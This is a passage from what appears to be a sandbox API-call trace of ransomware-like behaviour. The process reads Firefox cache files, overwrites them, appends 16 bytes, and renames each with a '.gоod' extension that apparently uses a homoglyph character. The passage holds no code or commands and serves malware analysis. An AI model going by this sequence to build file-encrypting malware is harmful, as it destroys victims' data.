lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", lpFilePart=0x0) returned 0x7f [0258.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0258.864] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.864] GetFileType (hFile=0x8a8) returned 0x1 [0258.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0258.865] GetFileType (hFile=0x8a8) returned 0x1 [0258.865] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x149e [0258.865] WriteFile (in: hFile=0x8a8, lpBuffer=0x3848878*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3848878*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0258.865] CloseHandle (hObject=0x8a8) returned 1 [0258.865] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", lpFilePart=0x0) returned 0x7f [0258.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0258.865] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.865] GetFileType (hFile=0x8a8) returned 0x1 [0258.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0258.865] GetFileType (hFile=0x8a8) returned 0x1 [0258.865] ReadFile (in: hFile=0x8a8, lpBuffer=0x384abe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x384abe0*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0258.893] CloseHandle (hObject=0x8a8) returned 1 [0258.893] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", lpFilePart=0x0) returned 0x7f [0258.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0258.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.893] GetFileType (hFile=0x8a8) returned 0x1 [0258.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0258.894] GetFileType (hFile=0x8a8) returned 0x1 [0258.894] WriteFile (in: hFile=0x8a8, lpBuffer=0x3849890*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3849890*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0258.894] CloseHandle (hObject=0x8a8) returned 1 [0258.894] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E", lpFilePart=0x0) returned 0x7f [0258.894] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E.gоod", lpFilePart=0x0) returned 0x84 [0258.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0258.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbd536, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcafbd536, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x968624e3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14ae)) returned 1 [0258.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0258.894] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2119417A1C9E8DA14601959E96C1123DBD536A0E.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2119417a1c9e8da14601959e96c1123dbd536a0e.gоod")) returned 1 [0258.895] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", lpFilePart=0x0) returned 0x7f [0258.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0258.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), fInfoLevelId=0x0, lpFileInformation=0x38c7a30 | out: lpFileInformation=0x38c7a30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4372d93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x21c4)) returned 1 [0258.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0258.895] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", lpFilePart=0x0) returned 0x7f [0258.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0258.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.896] GetFileType (hFile=0x8a8) returned 0x1 [0258.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0258.896] GetFileType (hFile=0x8a8) returned 0x1 [0258.896] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0258.896] ReadFile (in: hFile=0x8a8, lpBuffer=0x38c7f98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x38c7f98*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0259.087] CloseHandle (hObject=0x8a8) returned 1 [0259.087] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", lpFilePart=0x0) returned 0x7f [0259.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0259.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0259.087] GetFileType (hFile=0x8a8) returned 0x1 [0259.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0259.087] GetFileType (hFile=0x8a8) returned 0x1 [0259.087] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x21c4 [0259.087] WriteFile (in: hFile=0x8a8, lpBuffer=0x37d6a40*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x37d6a40*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0259.088] CloseHandle (hObject=0x8a8) returned 1 [0259.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", lpFilePart=0x0) returned 0x7f [0259.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0259.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0259.089] GetFileType (hFile=0x8a8) returned 0x1 [0259.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0259.089] GetFileType (hFile=0x8a8) returned 0x1 [0259.089] ReadFile (in: hFile=0x8a8, lpBuffer=0x37d8da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x37d8da8*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0259.121] CloseHandle (hObject=0x8a8) returned 1 [0259.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", lpFilePart=0x0) returned 0x7f [0259.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0259.122] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0259.122] GetFileType (hFile=0x8a8) returned 0x1 [0259.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0259.122] GetFileType (hFile=0x8a8) returned 0x1 [0259.122] WriteFile (in: hFile=0x8a8, lpBuffer=0x37d7a58*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x37d7a58*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0259.122] CloseHandle (hObject=0x8a8) returned 1 [0259.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F", lpFilePart=0x0) returned 0x7f [0259.122] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F.gоod", lpFilePart=0x0) returned 0x84 [0259.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0259.122] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a510, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436a510, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x96aaa227, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21d4)) returned 1 [0259.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0259.123] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23235518CD38CB3D10B0AC591123694C9D398B7F.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23235518cd38cb3d10b0ac591123694c9d398b7f.gоod")) returned 1 [0259.124] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", lpFilePart=0x0) returned 0x7f [0259.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0259.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), fInfoLevelId=0x0, lpFileInformation=0x38563a8 | out: lpFileInformation=0x38563a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1137)) returned 1 [0259.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0263.368] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", lpFilePart=0x0) returned 0x7f [0263.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0263.369] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0263.401] GetFileType (hFile=0x864) returned 0x1 [0263.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0263.401] GetFileType (hFile=0x864) returned 0x1 [0263.401] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0263.401] ReadFile (in: hFile=0x864, lpBuffer=0x3ae3f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3ae3f28*, lpNumberOfBytesRead=0x1fbeb0c8*=0x137, lpOverlapped=0x0) returned 1 [0263.402] CloseHandle (hObject=0x864) returned 1 [0263.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", lpFilePart=0x0) returned 0x7f [0263.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0263.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0263.402] GetFileType (hFile=0x864) returned 0x1 [0263.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0263.402] GetFileType (hFile=0x864) returned 0x1 [0263.402] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1137 [0263.402] WriteFile (in: hFile=0x864, lpBuffer=0x3ae52a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3ae52a0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0263.402] CloseHandle (hObject=0x864) returned 1 [0263.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", lpFilePart=0x0) returned 0x7f [0263.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0263.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0263.403] GetFileType (hFile=0x864) returned 0x1 [0263.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0263.403] GetFileType (hFile=0x864) returned 0x1 [0263.403] ReadFile (in: hFile=0x864, lpBuffer=0x3ae7608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x3ae7608*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0263.432] CloseHandle (hObject=0x864) returned 1 [0263.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7", lpFilePart=0x0) returned 0x7f [0263.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0263.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\23DA68590AFA0C21CFF070CAD97C0AA75858A2D7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\23da68590afa0c21cff070cad97c0aa75858a2d7"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0263.433] GetFileType (hFile=0x864) returned 0x1 [0263.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0263.433] GetFileType (hFile=0x864) returned 